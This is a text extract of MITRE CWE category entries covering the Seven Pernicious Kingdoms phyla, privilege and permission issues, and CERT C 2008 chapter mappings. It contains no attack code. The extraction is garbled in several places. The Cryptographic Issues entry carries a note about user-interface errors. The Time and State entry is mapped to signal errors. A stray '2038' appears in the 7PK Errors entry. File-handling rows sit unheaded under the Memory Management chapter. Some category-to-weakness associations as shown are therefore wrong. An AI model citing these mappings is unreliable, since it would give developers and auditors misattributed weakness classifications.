Category ID : 19

Status: Draft

Summary

Weaknesses in this category are typically found in functionality that processes data. Data processing is the manipulation of input to retrieve or save information.

Membership

Category-227: 7PK - API Abuse

Category ID : 227

Status: Draft

Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that involve the software using an API in a manner contrary to its intended use. According to the authors of the Seven Pernicious Kingdoms, "An API is a contract between a caller and a callee. The most common forms of API misuse occurs when the caller does not honor its end of this contract. For example, if a program does not call `chdir()` after calling `chroot()`, it violates the contract that specifies how to change the active root directory in a secure fashion. Another good example of library abuse is expecting the callee to return trustworthy DNS information to the caller. In this case, the caller misuses the callee API by making certain assumptions about its behavior (that the return value can be used for authentication purposes). One can also violate the caller-callee contract from the other side. For example, if a coder subclasses `SecureRandom` and returns a non-random value, the contract is violated."

Category-265: Privilege Issues

Category ID : 265 Status: Incomplete

Summary

Weaknesses in this category occur with improper handling, assignment, or management of privileges. A privilege is a property of an agent, such as a user. It lets the agent do things that are not ordinarily allowed. For example, there are privileges which allow an agent to perform maintenance functions such as restart a computer.

Membership

| HasMember | B | 648 | Incorrect Use of Privileged APIs | 699 | 1307 |

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |
|----------------------|---------|-----|----------------------------|
| PLOVER | | | Privilege / sandbox errors |

Notes

Relationship

This can strongly overlap authorization errors.

Theoretical

A sandbox could be regarded as an explicitly defined sphere of control, in that the sandbox only defines a limited set of behaviors, which can only access a limited set of resources.

Theoretical

It could be argued that any privilege problem occurs within the context of a sandbox.

Research Gap

Many of the following concepts require deeper study. Most privilege problems are not classified at such a low level of detail, and terminology is very sparse. Certain classes of software, such as web browsers and software bug trackers, provide a rich set of examples for further research. Operating systems have matured to the point that these kinds of weaknesses are rare, but finer-grained models for privileges, capabilities, or roles might introduce subtler issues.

Category-275: Permission Issues

Category ID : 275

Status: Draft

Summary

Weaknesses in this category are related to improper assignment or handling of permissions.

Membership

| Nature | Type | ID | Name | V | Page |

| HasMember | V | 767 | Access to Critical Private Variable via Public Method | 699 | 1459 |

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |
|----------------------|---------|-----|---|
| PLOVER | | | Permission errors |
| OWASP Top Ten 2004 | A2 | | CWE More Specific Broken Access Control |
| OWASP Top Ten 2004 | A10 | | CWE More Specific Insecure Configuration Management |

Notes

Terminology

Permissions are associated with a resource and specify which actors are allowed to access that resource and what they are allowed to do with that access (e.g., read it, modify it). While Privileges are associated with an actor and define which behaviors or actions an actor is allowed to perform.

Category-310: Cryptographic Issues

Category ID : 310

Status: Draft

Summary

Weaknesses in this category are related to the design and implementation of data confidentiality and integrity. Frequently these deal with the use of encoding techniques, encryption libraries, and hashing algorithms. The weaknesses in this category could lead to a degradation of the quality data if they are not addressed.

Membership

Notes

Research Gap

User interface errors that are relevant to security have not been studied at a high level.

Category-361: 7PK - Time and State

| | |
|-------------------|--------------------|
| Category ID : 361 | Status: Incomplete |
|-------------------|--------------------|

Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses related to the improper management of time and state in an environment that supports simultaneous or near-simultaneous computation by multiple systems, processes, or threads. According to the authors of the Seven Pernicious Kingdoms, "Distributed computation is about time and state. That is, in order for more than one component to communicate, state must be shared, and all that takes time. Most programmers anthropomorphize their work. They think about one thread of control carrying out the entire program in the same way they would if they had to do the job themselves. Modern computers, however, switch between tasks very quickly, and in multi-core, multi-CPU, or distributed systems, two events may take place at exactly the same time. Defects rush to fill the gap between the programmer's model of how a program executes and what happens in reality. These defects are related to unexpected interactions between threads, processes, time, and information. These interactions happen through shared state: semaphores, variables, the file system, and, basically, anything that can store information."

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |
|----------------------|---------|-----|------------------|
| PLOVER | | | Signal Errors |

Notes

Maintenance

Several weaknesses could exist, but this needs more study. Some weaknesses might be unhandled signals, untrusted signals, and sending the wrong signals.

Category-388: 7PK - Errors

Category ID : 388

Status: Draft

2038

Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that occur when an application does not properly handle errors that occur during processing. According to the authors of the Seven Pernicious Kingdoms, "Errors and error handling represent a class of API. Errors related to error handling are so common that they deserve a special kingdom of their own. As with 'API Abuse,' there are two ways to introduce an error-related security vulnerability: the most common one is handling errors poorly (or not at all). The second is producing errors that either give out too much information (to possible attackers) or are difficult to handle."

Category-389: Error Conditions, Return Values, Status Codes

Category ID : 389

Status: Incomplete

Summary

This category includes weaknesses that occur if a function does not generate the correct return/status code, or if the application does not handle all possible return/status codes that could be generated by a function. This type of problem is most often found in conditions that are rarely encountered during the normal operation of the product. Presumably, most bugs related to common conditions are found and eliminated during development and testing. In some cases, the attacker can directly control or influence the environment to trigger the rare conditions.

| HasMember | B | 756 | Missing Custom Error Page | 699 | 1430 |
| HasMember | B | 1069 | Empty Exception Block | 699 | 1723 |

Notes

Other

Many researchers focus on the resultant weaknesses and do not necessarily diagnose whether a rare condition is the primary factor. However, since 2005 it seems to be reported more frequently than in the past. This subject needs more study.

Category-398: 7PK - Code Quality

Category ID : 398

Status: Draft

Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that do not directly introduce a weakness or vulnerability, but indicate that the product has not been carefully developed or maintained. According to the authors of the Seven Pernicious Kingdoms, "Poor code quality leads to unpredictable behavior. From a user's perspective that often manifests itself as poor usability. For an adversary it provides an opportunity to stress the system in unexpected ways."

Category-417: Communication Channel Errors

Category ID : 417

Status: Draft

Summary

Weaknesses in this category are related to improper handling of communication channels and access paths. These weaknesses include problems in creating, managing, or removing alternate channels and alternate paths. Some of these can overlap virtual file problems and are commonly used in "bypass" attacks, such as those that exploit authentication errors.

Category-485: 7PK - Encapsulation

Category ID : 485

Status: Draft

Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that occur when the product does not sufficiently encapsulate critical data or functionality. According to the authors of the Seven Pernicious Kingdoms, "Encapsulation is about drawing strong boundaries. In a web browser that might mean ensuring that your mobile code cannot be abused by other mobile code. On the server it might mean differentiation between validated data and unvalidated data, between one user's data and another's, or between data users are allowed to see and data that they are not."

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|--|-----|------|
| MemberOf | V | 700 | Seven Pernicious Kingdoms | 700 | 2220 |
| HasMember | V | 486 | Comparison of Classes by Name | 700 | 1067 |
| HasMember | B | 488 | Exposure of Data Element to Wrong Session | 700 | 1071 |
| HasMember | B | 489 | Active Debug Code | 700 | 1073 |
| HasMember | V | 491 | Public cloneable() Method Without Final ('Object Hijack') | 700 | 1075 |
| HasMember | V | 492 | Use of Inner Class Containing Sensitive Data | 700 | 1077 |
| HasMember | V | 493 | Critical Public Variable Without Final Modifier | 700 | 1083 |
| HasMember | V | 495 | Private Data Structure Returned From A Public Method | 700 | 1090 |
| HasMember | V | 496 | Public Data Assigned to Private Array-Typed Field | 700 | 1092 |
| HasMember | B | 497 | Exposure of Sensitive System Information to an Unauthorized Control Sphere | 700 | 1093 |
| HasMember | B | 501 | Trust Boundary Violation | 700 | 1102 |

Notes

Other

The "encapsulation" term is used in multiple ways. Within some security sources, the term is used to describe the establishment of boundaries between different control spheres. Within general computing circles, it is more about hiding implementation details and maintainability than security. Even within the security usage, there is also a question of whether "encapsulation" encompasses the entire range of security problems.

Category-730: OWASP Top Ten 2004 Category A9 - Denial of Service

Category ID : 730

Status: Obsolete

Summary

Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2004.

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|--|-----|------|
| MemberOf | V | 711 | Weaknesses in OWASP Top Ten (2004) | 711 | 2222 |
| HasMember | B | 170 | Improper Null Termination | 711 | 401 |
| HasMember | B | 248 | Uncaught Exception | 711 | 555 |
| HasMember | B | 369 | Divide By Zero | 711 | 842 |
| HasMember | V | 382 | J2EE Bad Practices: Use of System.exit() | 711 | 860 |
| HasMember | G | 400 | Uncontrolled Resource Consumption | 711 | 889 |
| HasMember | V | 401 | Missing Release of Memory after Effective Lifetime | 711 | 896 |
| HasMember | G | 404 | Improper Resource Shutdown or Release | 711 | 902 |
| HasMember | G | 405 | Asymmetric Resource Consumption (Amplification) | 711 | 908 |
| HasMember | B | 410 | Insufficient Resource Pool | 711 | 917 |
| HasMember | B | 412 | Unrestricted Externally Accessible Lock | 711 | 919 |
| HasMember | B | 476 | NULL Pointer Dereference | 711 | 1039 |
| HasMember | G | 674 | Uncontrolled Recursion | 711 | 1352 |

Category-735: CERT C Secure Coding Standard (2008) Chapter 2 - Preprocessor (PRE)

Category ID : 735

Status: Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Preprocessor (PRE) chapter of the CERT C Secure Coding Standard (2008).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|--|-----|------|
| MemberOf | V | 734 | Weaknesses Addressed by the CERT C Secure Coding Standard (2008) | 734 | 2223 |
| HasMember | G | 684 | Incorrect Provision of Specified Functionality | 734 | 1371 |

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-684 PRE09-C Do not replace secure functions with less secure functions

References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

Category-736: CERT C Secure Coding Standard (2008) Chapter 3 - Declarations and Initialization (DCL)

Category ID : 736

Status: Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Declarations and Initialization (DCL) chapter of the CERT C Secure Coding Standard (2008).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|--|-----|------|
| MemberOf | V | 734 | Weaknesses Addressed by the CERT C Secure Coding Standard (2008) | 734 | 2223 |
| HasMember | V | 547 | Use of Hard-coded, Security-relevant Constants | 734 | 1152 |
| HasMember | B | 628 | Function Call with Incorrectly Specified Arguments | 734 | 1278 |
| HasMember | V | 686 | Function Call With Incorrect Argument Type | 734 | 1373 |

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-547 DCL06-C Use meaningful symbolic constants to represent literal values in program logic CWE-628 DCL10-C Maintain the contract between the writer and caller of variadic functions CWE-686 DCL35-C Do not invoke a function using a type that does not match the function definition

Category-737: CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)

Category ID : 737

Status: Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Expressions (EXP) chapter of the CERT C Secure Coding Standard (2008).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|--|-----|------|
| MemberOf | V | 734 | Weaknesses Addressed by the CERT C Secure Coding Standard (2008) | 734 | 2223 |
| HasMember | V | 467 | Use of sizeof() on a Pointer Type | 734 | 1020 |

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|--|-----|------|
| HasMember | B | 468 | Incorrect Pointer Scaling | 734 | 1023 |
| HasMember | B | 476 | NULL Pointer Dereference | 734 | 1039 |
| HasMember | B | 628 | Function Call with Incorrectly Specified Arguments | 734 | 1278 |
| HasMember | C | 704 | Incorrect Type Conversion or Cast | 734 | 1397 |
| HasMember | B | 783 | Operator Precedence Logic Error | 734 | 1495 |

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-467 EXP01-C Do not take the size of a pointer to determine the size of the pointed-to type CWE-468 EXP08-C Ensure pointer arithmetic is used correctly CWE-476 EXP34-C Ensure a null pointer is not dereferenced CWE-628 EXP37-C Call functions with the arguments intended by the API CWE-704 EXP05-C Do not cast away a const qualification CWE-783 EXP00-C Use parentheses for precedence of operation

Category-738: CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)

Category ID : 738

Status: Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Integers (INT) chapter of the CERT C Secure Coding Standard (2008).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|--|-----|------|
| MemberOf | V | 734 | Weaknesses Addressed by the CERT C Secure Coding Standard (2008) | 734 | 2223 |
| HasMember | C | 20 | Improper Input Validation | 734 | 19 |
| HasMember | V | 129 | Improper Validation of Array Index | 734 | 317 |
| HasMember | B | 190 | Integer Overflow or Wraparound | 734 | 443 |
| HasMember | V | 192 | Integer Coercion Error | 734 | 453 |
| HasMember | B | 197 | Numeric Truncation Error | 734 | 469 |
| HasMember | B | 369 | Divide By Zero | 734 | 842 |
| HasMember | B | 466 | Return of Pointer Value Outside of Expected Range | 734 | 1018 |
| HasMember | B | 587 | Assignment of a Fixed Address to a Pointer | 734 | 1208 |
| HasMember | B | 606 | Unchecked Input for Loop Condition | 734 | 1241 |
| HasMember | B | 676 | Use of Potentially Dangerous Function | 734 | 1356 |
| HasMember | B | 681 | Incorrect Conversion between Numeric Types | 734 | 1361 |
| HasMember | P | 682 | Incorrect Calculation | 734 | 1365 |

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-20 INT06-C Use strtol() or a related function to convert a string token to an integer CWE-129 INT32-C Ensure that operations on signed integers do not result

in overflow CWE-190 INT03-C Use a secure integer library CWE-190 INT30-C Ensure that unsigned integer operations do not wrap CWE-190 INT32-C Ensure that operations on signed integers do not result in overflow CWE-190 INT35-C Evaluate integer expressions in a larger size before comparing or assigning to that size CWE-192 INT02-C Understand integer conversion rules CWE-192 INT05-C Do not use input functions to convert character data if they cannot handle all possible inputs CWE-192 INT31-C Ensure that integer conversions do not result in lost or misinterpreted data CWE-197 INT02-C Understand integer conversion rules CWE-197 INT05-C Do not use input functions to convert character data if they cannot handle all possible inputs CWE-197 INT31-C Ensure that integer conversions do not result in lost or misinterpreted data CWE-369 INT33-C Ensure that division and modulo operations do not result in divide-by-zero errors CWE-466 INT11-C Take care when converting from pointer to integer or integer to pointer CWE-587 INT11-C Take care when converting from pointer to integer or integer to pointer CWE-606 INT03-C Use a secure integer library CWE-676 INT06-C Use strtol() or a related function to convert a string token to an integer CWE-681 INT15-C Use intmax_t or uintmax_t for formatted IO on programmer-defined integer types CWE-681 INT31-C Ensure that integer conversions do not result in lost or misinterpreted data CWE-681 INT35-C Evaluate integer expressions in a larger size before comparing or assigning to that size CWE-682 INT07-C Use only explicitly signed or unsigned char type for numeric values CWE-682 INT13-C Use bitwise operators only on unsigned operands

Category-739: CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP)

Category ID : 739

Status: Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Floating Point (FLP) chapter of the CERT C Secure Coding Standard (2008).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|--|-----|------|
| MemberOf | V | 734 | Weaknesses Addressed by the CERT C Secure Coding Standard (2008) | 734 | 2223 |
| HasMember | B | 369 | Divide By Zero | 734 | 842 |
| HasMember | B | 681 | Incorrect Conversion between Numeric Types | 734 | 1361 |
| HasMember | P | 682 | Incorrect Calculation | 734 | 1365 |
| HasMember | V | 686 | Function Call With Incorrect Argument Type | 734 | 1373 |

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-369 FLP03-C Detect and handle floating point errors CWE-681 FLP33-C Convert integers to floating point for floating point operations CWE-681 FLP34-C Ensure that floating point conversions are within range of the new type CWE-682 FLP32-C Prevent or detect domain and range errors in math functions CWE-682 FLP33-C Convert integers to floating point for floating point operations CWE-686 FLP31-C Do not call functions expecting real values with complex values

Category-740: CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)

Category ID : 740

Status: Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Arrays (ARR) chapter of the CERT C Secure Coding Standard (2008).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|---|-----|------|
| MemberOf | V | 734 | Weaknesses Addressed by the CERT C Secure Coding Standard (2008) | 734 | 2223 |
| HasMember | G | 119 | Improper Restriction of Operations within the Bounds of a Memory Buffer | 734 | 274 |
| HasMember | V | 129 | Improper Validation of Array Index | 734 | 317 |
| HasMember | V | 467 | Use of sizeof() on a Pointer Type | 734 | 1020 |
| HasMember | B | 469 | Use of Pointer Subtraction to Determine Size | 734 | 1024 |
| HasMember | G | 665 | Improper Initialization | 734 | 1330 |
| HasMember | B | 805 | Buffer Access with Incorrect Length Value | 734 | 1542 |

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-119 ARR00-C Understand how arrays work CWE-119 ARR33-C Guarantee that copies are made into storage of sufficient size CWE-119 ARR34-C Ensure that array types in expressions are compatible CWE-119 ARR35-C Do not allow loops to iterate beyond the end of an array CWE-129 ARR00-C Understand how arrays work CWE-129 ARR30-C Guarantee that array indices are within the valid range CWE-129 ARR38-C Do not add or subtract an integer to a pointer if the resulting value does not refer to a valid array element CWE-467 ARR01-C Do not apply the sizeof operator to a pointer when taking the size of an array CWE-469 ARR36-C Do not subtract or compare two pointers that do not refer to the same array CWE-469 ARR37-C Do not add or subtract an integer to a pointer to a non-array object CWE-665 ARR02-C Explicitly specify array bounds, even if implicitly defined by an initializer CWE-805 ARR33-C Guarantee that copies are made into storage of sufficient size

Category-741: CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)

Category ID : 741

Status: Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Characters and Strings (STR) chapter of the CERT C Secure Coding Standard (2008).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|--|-----|------|
| MemberOf | V | 734 | Weaknesses Addressed by the CERT C Secure Coding Standard (2008) | 734 | 2223 |
| HasMember | B | 78 | Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') | 734 | 142 |
| HasMember | B | 88 | Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') | 734 | 183 |
| HasMember | G | 119 | Improper Restriction of Operations within the Bounds of a Memory Buffer | 734 | 274 |
| HasMember | B | 120 | Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') | 734 | 285 |
| HasMember | B | 135 | Incorrect Calculation of Multi-Byte String Length | 734 | 346 |
| HasMember | B | 170 | Improper Null Termination | 734 | 401 |
| HasMember | B | 193 | Off-by-one Error | 734 | 456 |
| HasMember | B | 464 | Addition of Data Structure Sentinel | 734 | 1016 |
| HasMember | V | 686 | Function Call With Incorrect Argument Type | 734 | 1373 |
| HasMember | G | 704 | Incorrect Type Conversion or Cast | 734 | 1397 |

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-78 STR02-C Sanitize data passed to complex subsystems CWE-88 STR02-C Sanitize data passed to complex subsystems CWE-119 STR31-C Guarantee that storage for strings has sufficient space for character data and the null terminator CWE-119 STR32-C Null-terminate byte strings as required CWE-119 STR33-C Size wide character strings correctly CWE-120 STR35-C Do not copy data from an unbounded source to a fixed-length array CWE-135 STR33-C Size wide character strings correctly CWE-170 STR03-C Do not inadvertently truncate a null-terminated byte string CWE-170 STR32-C Null-terminate byte strings as required CWE-193 STR31-C Guarantee that storage for strings has sufficient space for character data and the null terminator CWE-464 STR03-C Do not inadvertently truncate a null-terminated byte string CWE-464 STR06-C Do not assume that strtok() leaves the parse string unchanged CWE-686 STR37-C Arguments to character handling functions must be representable as an unsigned char CWE-704 STR34-C Cast characters to unsigned types before converting to larger integer sizes CWE-704 STR37-C Arguments to character handling functions must be representable as an unsigned char

Category-742: CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)

Category ID : 742

Status: Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Memory Management (MEM) chapter of the CERT C Secure Coding Standard (2008).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|---|-----|------|
| MemberOf | V | 734 | Weaknesses Addressed by the CERT C Secure Coding Standard (2008) | 734 | 2223 |
| HasMember | G | 20 | Improper Input Validation | 734 | 19 |
| HasMember | G | 119 | Improper Restriction of Operations within the Bounds of a Memory Buffer | 734 | 274 |
| HasMember | B | 128 | Wrap-around Error | 734 | 315 |
| HasMember | B | 131 | Incorrect Calculation of Buffer Size | 734 | 331 |
| HasMember | B | 190 | Integer Overflow or Wraparound | 734 | 443 |
| HasMember | B | 226 | Sensitive Information in Resource Not Removed Before Reuse | 734 | 526 |
| HasMember | V | 244 | Improper Clearing of Heap Memory Before Release ('Heap Inspection') | 734 | 550 |
| HasMember | B | 252 | Unchecked Return Value | 734 | 564 |
| HasMember | V | 415 | Double Free | 734 | 926 |
| HasMember | V | 416 | Use After Free | 734 | 930 |
| HasMember | B | 476 | NULL Pointer Dereference | 734 | 1039 |
| HasMember | V | 528 | Exposure of Core Dump File to an Unauthorized Control Sphere | 734 | 1132 |
| HasMember | V | 590 | Free of Memory not on the Heap | 734 | 1212 |
| HasMember | V | 591 | Sensitive Data Storage in Improperly Locked Memory | 734 | 1215 |
| HasMember | B | 628 | Function Call with Incorrectly Specified Arguments | 734 | 1278 |
| HasMember | G | 665 | Improper Initialization | 734 | 1330 |
| HasMember | V | 687 | Function Call With Incorrectly Specified Argument Value | 734 | 1375 |
| HasMember | G | 754 | Improper Check for Unusual or Exceptional Conditions | 734 | 1421 |

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-20 MEM10-C Define and use a pointer validation function
 CWE-119 MEM09-C Do not assume memory allocation routines initialize memory
 CWE-128 MEM07-C Ensure that the arguments to `calloc()`, when multiplied, can be represented as a `size_t`
 CWE-131 MEM35-C Allocate sufficient memory for an object
 CWE-190 MEM07-C Ensure that the arguments to `calloc()`, when multiplied, can be represented as a `size_t`
 CWE-190 MEM35-C Allocate sufficient memory for an object
 CWE-226 MEM03-C Clear sensitive information stored in reusable resources returned for reuse
 CWE-244 MEM03-C Clear sensitive information stored in reusable resources returned for reuse
 CWE-252 MEM32-C Detect and handle memory allocation errors
 CWE-415 MEM00-C Allocate and free memory in the same module, at the same level of abstraction
 CWE-415 MEM01-C Store a new value in pointers immediately after `free()`
 CWE-415 MEM31-C Free dynamically allocated memory exactly once
 CWE-416 MEM00-C Allocate and free memory in the same module, at the same level of abstraction
 CWE-416 MEM01-C Store a new value in pointers immediately after `free()`
 CWE-416 MEM30-C Do not access freed memory
 CWE-476 MEM32-C Detect and handle memory allocation errors
 CWE-528 MEM06-C Ensure that sensitive data is not written out to disk
 CWE-590 MEM34-C Only free memory allocated dynamically
 CWE-591 MEM06-C Ensure that sensitive data is not written out to disk
 CWE-628 MEM08-C Use `realloc()` only to resize dynamically allocated arrays
 CWE-665 MEM09-C Do not assume memory allocation routines initialize memory
 CWE-687 MEM04-C Do not perform zero length allocations
 CWE-754 MEM32-C Detect and handle memory allocation errors

| HasMember | B | 276 | Incorrect Default Permissions | 734 | 618 |
| HasMember | V | 279 | Incorrect Execution-Assigned Permissions | 734 | 623 |
| HasMember | G | 362 | Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') | 734 | 817 |
| HasMember | B | 367 | Time-of-check Time-of-use (TOCTOU) Race Condition | 734 | 835 |
| HasMember | B | 379 | Creation of Temporary File in Directory with Insecure Permissions | 734 | 858 |
| HasMember | B | 391 | Unchecked Error Condition | 734 | 874 |
| HasMember | B | 403 | Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak') | 734 | 900 |
| HasMember | G | 404 | Improper Resource Shutdown or Release | 734 | 902 |
| HasMember | B | 552 | Files or Directories Accessible to External Parties | 734 | 1157 |
| HasMember | G | 675 | Multiple Operations on Resource in Single-Operation Context | 734 | 1355 |
| HasMember | B | 676 | Use of Potentially Dangerous Function | 734 | 1356 |
| HasMember | V | 686 | Function Call With Incorrect Argument Type | 734 | 1373 |
| HasMember | G | 732 | Incorrect Permission Assignment for Critical Resource | 734 | 1407 |

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-22 FIO02-C Canonicalize path names originating from untrusted sources CWE-37 FIO05-C Identify files using multiple file attributes CWE-38 FIO05-C Identify files using multiple file attributes CWE-39 FIO05-C Identify files using multiple file attributes CWE-41 FIO02-C Canonicalize path names originating from untrusted sources CWE-59 FIO02-C Canonicalize path names originating from untrusted sources CWE-62 FIO05-C Identify files using multiple file attributes CWE-64 FIO05-C Identify files using multiple file attributes CWE-65 FIO05-C Identify files using multiple file attributes CWE-67 FIO32-C Do not perform operations on devices that are only appropriate for files CWE-119 FIO37-C Do not assume character data has been read CWE-134 FIO30-C Exclude user input from format strings CWE-134 FIO30-C Exclude user input from format strings CWE-241 FIO37-C Do not assume character data has been read CWE-276 FIO06-C Create files with appropriate access permissions CWE-279 FIO06-C Create files with appropriate access permissions CWE-362 FIO31-C Do not simultaneously open the same file multiple times CWE-367 FIO01-C Be careful using functions that use file names for identification CWE-379 FIO15-C Ensure that file operations are performed in a secure directory CWE-379 FIO43-C Do not create temporary files in shared directories CWE-391 FIO04-C Detect and handle input and output errors CWE-391 FIO33-C Detect and handle input output errors resulting in undefined behavior CWE-403 FIO42-C Ensure files are properly closed when they are no longer needed CWE-404 FIO42-C Ensure files are properly closed when they are no longer needed CWE-552 FIO15-C Ensure that file operations are performed in a secure directory CWE-675 FIO31-C Do not simultaneously open the same file multiple times CWE-676 FIO01-C Be careful using functions that use file names for identification CWE-686 FIO00-C Take care when creating format strings CWE-732 FIO06-C Create files with appropriate access permissions

Category-744: CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)

Category ID : 744

Status: Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Environment (ENV) chapter of the CERT C Secure Coding Standard (2008).

Membership

| Nature | Type | ID | Name | | Page |
|-----------|---|-----|--|-----|------|
| MemberOf |  | 734 | Weaknesses Addressed by the CERT C Secure Coding Standard (2008) | 734 | 2223 |
| HasMember |  | 78 | Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') | 734 | 142 |
| HasMember |  | 88 | Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') | 734 | 183 |
| HasMember |  | 119 | Improper Restriction of Operations within the Bounds of a Memory Buffer | 734 | 274 |
| HasMember |  | 426 | Untrusted Search Path | 734 | 944 |
| HasMember |  | 462 | Duplicate Key in Associative List (Alist) | 734 | 1013 |
| HasMember |  | 705 | Incorrect Control Flow Scoping | 734 | 1399 |

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-78 ENV03-C Sanitize the environment when invoking external programs CWE-78 ENV04-C Do not call system() if you do not need a command processor CWE-88 ENV03-C Sanitize the environment when invoking external programs CWE-88 ENV04-C Do not call system() if you do not need a command processor CWE-119 ENV01-C Do not make assumptions about the size of an environment variable CWE-426 ENV03-C Sanitize the environment when invoking external programs CWE-462 ENV02-C Beware of multiple environment variables with the same effective name CWE-705 ENV32-C All atexit handlers must return normally

Category-745: CERT C Secure Coding Standard (2008) Chapter 12 - Signals (SIG)

Category ID : 745

Status: Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Signals (SIG) chapter of the CERT C Secure Coding Standard (2008).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|--|-----|------|
| MemberOf | V | 734 | Weaknesses Addressed by the CERT C Secure Coding Standard (2008) | 734 | 2223 |
| HasMember | V | 479 | Signal Handler Use of a Non-reentrant Function | 734 | 1052 |
| HasMember | G | 662 | Improper Synchronization | 734 | 1324 |

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-432 SIG00-C Mask signals handled by noninterruptible signal handlers CWE-479 SIG30-C Call only asynchronous-safe functions within signal handlers CWE-479 SIG32-C Do not call longjmp() from inside a signal handler CWE-479 SIG33-C Do not recursively invoke the raise() function CWE-479 SIG34-C Do not call signal() from within interruptible signal handlers CWE-662 SIG00-C Mask signals handled by noninterruptible signal handlers CWE-662 SIG31-C Do not access or modify shared objects in signal handlers CWE-828 SIG31-C Do not access or modify shared objects in signal handlers

Category-746: CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)

Category ID : 746

Status: Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Error Handling (ERR) chapter of the CERT C Secure Coding Standard (2008).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|--|-----|------|
| MemberOf | V | 734 | Weaknesses Addressed by the CERT C Secure Coding Standard (2008) | 734 | 2223 |
| HasMember | G | 20 | Improper Input Validation | 734 | 19 |
| HasMember | B | 391 | Unchecked Error Condition | 734 | 874 |
| HasMember | B | 544 | Missing Standardized Error Handling Mechanism | 734 | 1149 |
| HasMember | B | 676 | Use of Potentially Dangerous Function | 734 | 1356 |
| HasMember | G | 705 | Incorrect Control Flow Scoping | 734 | 1399 |

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-20 ERR07-C Prefer functions that support error checking over equivalent functions that don't CWE-391 ERR00-C Adopt and implement a consistent and comprehensive error-handling policy CWE-544 ERR00-C Adopt and implement a consistent and comprehensive error-handling policy CWE-676 ERR07-C Prefer functions that support error checking over equivalent functions that don't CWE-705 ERR04-C Choose an appropriate termination strategy

Category-747: CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)

Category ID : 747 Status: Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Miscellaneous (MSC) chapter of the CERT C Secure Coding Standard (2008).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|--|-----|------|
| MemberOf | V | 734 | Weaknesses Addressed by the CERT C Secure Coding Standard (2008) | 734 | 2223 |
| HasMember | V | 14 | Compiler Removal of Code to Clear Buffers | 734 | 14 |
| HasMember | G | 20 | Improper Input Validation | 734 | 19 |
